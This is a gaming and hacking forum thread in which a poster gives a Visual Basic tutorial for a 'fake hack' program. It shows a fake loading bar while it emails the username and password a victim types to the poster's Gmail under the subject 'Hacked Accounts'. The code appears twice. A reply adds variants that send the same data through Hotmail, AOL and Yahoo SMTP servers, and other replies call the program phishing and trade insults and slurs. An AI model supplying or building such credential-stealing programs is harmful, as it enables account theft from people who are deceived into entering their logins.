[TuT] How To Make a Fake Hack [Pics]

What?

What were making is a fake program that sends the text in the text box to your gmail after the progress bar is done loading.

The Design

This is pretty straight forward here just make a design with 2 text boxes, a button, a timer, and a loading bar.

The Code

Once your design is done double click on each "tool" in this order (for neatness) Form1, The timer, and lastly the button.

Now make a new Import like the following picture

Next add this in the Form1

Code:

        Button1.Enabled = True
        Timer1.Enabled = False

What this means is that if Button1 is enabled then the timer is disabled.
Next add this code in the timer1

Code:

         If ProgressBar1.Value <> 100 Then ProgressBar1.Value = ProgressBar1.Value + "1"
        If ProgressBar1.Value = 100 Then Timer1.Stop()

This checks for the progress bar and if its value is less > 0 then start the timer.
Next move to the button1 and add this to it

Code:

   
            Timer1.Start()
            Dim UserName As String = "YourEmailHere@Gmail.com"
            Dim Password As String = "Your Emails"
            Dim mail As MailMessage = New MailMessage

            mail.From = New MailAddress(UserName)
            mail.To.Add(New MailAddress(UserName))
            mail.Priority = MailPriority.High
            mail.Subject = "Hacked Accounts"
            mail.Body = "Username: " + TextBox1.Text + vbNewLine + vbNewLine + "Password: " + TextBox2.Text

            mail.IsBodyHtml = True

            Dim client As SmtpClient = New SmtpClient("smtp.gmail.com", 587)
            client.EnableSsl = True
            client.Credentials = New System.Net.NetworkCredential(UserName, Password)
            Try
                client.Send(mail)
            Catch ex As Exception
                MessageBox.Show("An error occured while processing your request. Please try again.")
                If ProgressBar1.Value = 100 Then Timer1.Stop()
            End Try

This starts the timer then emails you what is in the text box and once it hits the value 100 it stops it.

You can fool proof it yourself this was hardcoded by me.

hahaha, you didn't make this, lol, don't take cred for other people's stuff, i doubt you made the server for this, idiot.

its just a simple phising or something like that -.-
and u leeched it -.-

Originally Posted by 258456

hahaha, you didn't make this, lol, don't take cred for other people's stuff, i doubt you made the server for this, idiot.

Originally Posted by aLcohoL_95

its just a simple phising or something like that -.-
and u leeched it -.-

lol you guys fail xD you can't leach this , that is like saying you could leach
msgbox("LOL")
the only person you could give credit to is Microsoft for creating the language xDD
all this code is , is a simple mail client that was made for .net very simple

Both of you shut the fuck up I just wrote this you get me the fucking link this is why new people cant register because people like you to dicks flame anyone that trys to do shit. Btw, learn some grammar you fucking retard. You don't need that many commas. Also, Go find me where I leached this off of including pictures you.

This Is So Simple . -_-

I know but some people may be new to VB... You just can't accept that some one is helping others...

This is like one of the first programs most people make.
1. Not that hard to do
2. So many tutorials for this why make one? (Even if it is leeched)

I'm definitely gonna try this when I finally get my Microsoft Visual Studio 2010 (for free xD)... I tried this once b4 but in the end it never worked.... couldn't send the email or smthng :S ... ty if this 1 works xD

If you want to use other connections then GMAIL
Look at this :
Hotmail:

Code:

      Dim mail As New MailMessage
        Try
            mail.To.Add(YourMail)
            mail.From = New MailAddress("Your mail")
            mail.Subject = txtsubj.Text
            mail.Body = txtmsg.Text
            Dim SMTP As New SmtpClient("smtp.live.com")
            SMTP.Port = 25
            SMTP.EnableSsl = True
            SMTP.Credentials = New System.Net.NetworkCredential("Your mail", "Your Pw".Text)
            SMTP.Send(mail)
        Catch ex As Exception
            MsgBox("Something Went Wrong", MsgBoxStyle.Exclamation, "Warning")
        End Try

Aol

Code:

        Dim mail As New MailMessage
        Try
            mail.To.Add("Your mail")
            mail.From = New MailAddress("Your Mail")
            mail.Subject = txtsubj.Text
            mail.Body = txtmsg.Text
            Dim SMTP As New SmtpClient("smtp.uk.aol.com")
            SMTP.Port = 465
            SMTP.EnableSsl = True
            SMTP.Credentials = New System.Net.NetworkCredential("Your Mail", "Your Pw")
            SMTP.Send(mail)

        Catch ex As Exception
            MsgBox("Something Went Wrong", MsgBoxStyle.Exclamation, "Warning")

        End Try

Yahoo:

Code:

       Dim mail As New MailMessage
        Try
            mail.To.Add("Your Mail")
            mail.From = New MailAddress("Your Mail")
            mail.Subject = txtsubj.Text
            mail.Body = txtmsg.Text
            Dim SMTP As New SmtpClient("plus.smtp.mail.yahoo.com")
            SMTP.Port = 465
            SMTP.EnableSsl = True
            SMTP.Credentials = New System.Net.NetworkCredential("Your Mail", "Your Pw")
            SMTP.Send(mail)

        Catch ex As Exception
            MsgBox("Something Went Wrong", MsgBoxStyle.Exclamation, "Warning")

        End Try

These are all the ones I know,
Thank me if I helped ^^

Originally Posted by Shaadow

Both of you shut the fuck up I just wrote this you get me the fucking link this is why new people cant register because people like you to dicks flame anyone that trys to do shit. Btw, learn some grammar you fucking retard. You don't need that many commas. Also, Go find me where I leached this off of including pictures you.

Don't tell other people to 'learn some grammar' until you have learned some yourself (and some spelling wouldn't be bad either...)

Originally Posted by Shaadow

What?

What were making is a fake program that sends the text in the text box to your gmail after the progress bar is done loading.

The Design

This is pretty straight forward here just make a design with 2 text boxes, a button, a timer, and a loading bar.

The Code

Once your design is done double click on each "tool" in this order (for neatness) Form1, The timer, and lastly the button.

Now make a new Import like the following picture

Next add this in the Form1

Code:

        Button1.Enabled = True
        Timer1.Enabled = False

What this means is that if Button1 is enabled then the timer is disabled.
Next add this code in the timer1

Code:

         If ProgressBar1.Value <> 100 Then ProgressBar1.Value = ProgressBar1.Value + "1"
        If ProgressBar1.Value = 100 Then Timer1.Stop()

This checks for the progress bar and if its value is less > 0 then start the timer.
Next move to the button1 and add this to it

Code:

   
            Timer1.Start()
            Dim UserName As String = "YourEmailHere@Gmail.com"
            Dim Password As String = "Your Emails"
            Dim mail As MailMessage = New MailMessage

            mail.From = New MailAddress(UserName)
            mail.To.Add(New MailAddress(UserName))
            mail.Priority = MailPriority.High
            mail.Subject = "Hacked Accounts"
            mail.Body = "Username: " + TextBox1.Text + vbNewLine + vbNewLine + "Password: " + TextBox2.Text

            mail.IsBodyHtml = True

            Dim client As SmtpClient = New SmtpClient("smtp.gmail.com", 587)
            client.EnableSsl = True
            client.Credentials = New System.Net.NetworkCredential(UserName, Password)
            Try
                client.Send(mail)
            Catch ex As Exception
                MessageBox.Show("An error occured while processing your request. Please try again.")
                If ProgressBar1.Value = 100 Then Timer1.Stop()
            End Try

This starts the timer then emails you what is in the text box and once it hits the value 100 it stops it.

You can fool proof it yourself this was hardcoded by me.

haha hardcoded this code is just the same when you searh it on google

tube and this is a fake login nota fake hack NOOB LEECHER C&P!

Originally Posted by redkevin25

haha hardcoded this code is just the same when you searh it on google

tube and this is a fake login nota fake hack NOOB LEECHER C&P!

The E-Mail sender is leeched, I believe. I don't know about the rest. It's called a phiser though, other people have said it already.

lmao mac design.

Originally Posted by asifgunz

lmao mac design.

dont bump old subjects... but since u already did then, does anyone know if you can get warrock to work on a mac?

ps. not backseat moderating, just guiding newbs...

[TuT] How To Make a Fake Hack [Pics]

Post a Reply

Similar Threads

Tags for this Thread